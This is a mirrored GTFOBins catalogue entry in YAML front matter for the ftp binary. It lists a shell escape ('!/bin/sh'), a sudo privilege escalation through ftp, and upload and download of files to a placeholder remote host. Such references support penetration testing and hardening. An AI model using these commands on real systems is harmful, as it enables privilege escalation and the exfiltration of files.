mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 23:09:46 +01:00
23 lines
438 B
Markdown
23 lines
438 B
Markdown
---
|
|
functions:
|
|
exec-interactive:
|
|
- code: |
|
|
ftp
|
|
!/bin/sh
|
|
sudo-enabled:
|
|
- code: |
|
|
sudo ftp
|
|
!/bin/sh
|
|
upload:
|
|
- description: Send local file to a FTP server.
|
|
code: |
|
|
RHOST=10.0.0.1
|
|
ftp $RHOST
|
|
put file_to_send
|
|
download:
|
|
- description: Fetch a remote file from a FTP server.
|
|
code: |
|
|
RHOST=10.0.0.1
|
|
ftp $RHOST
|
|
get file_to_get
|
|
--- |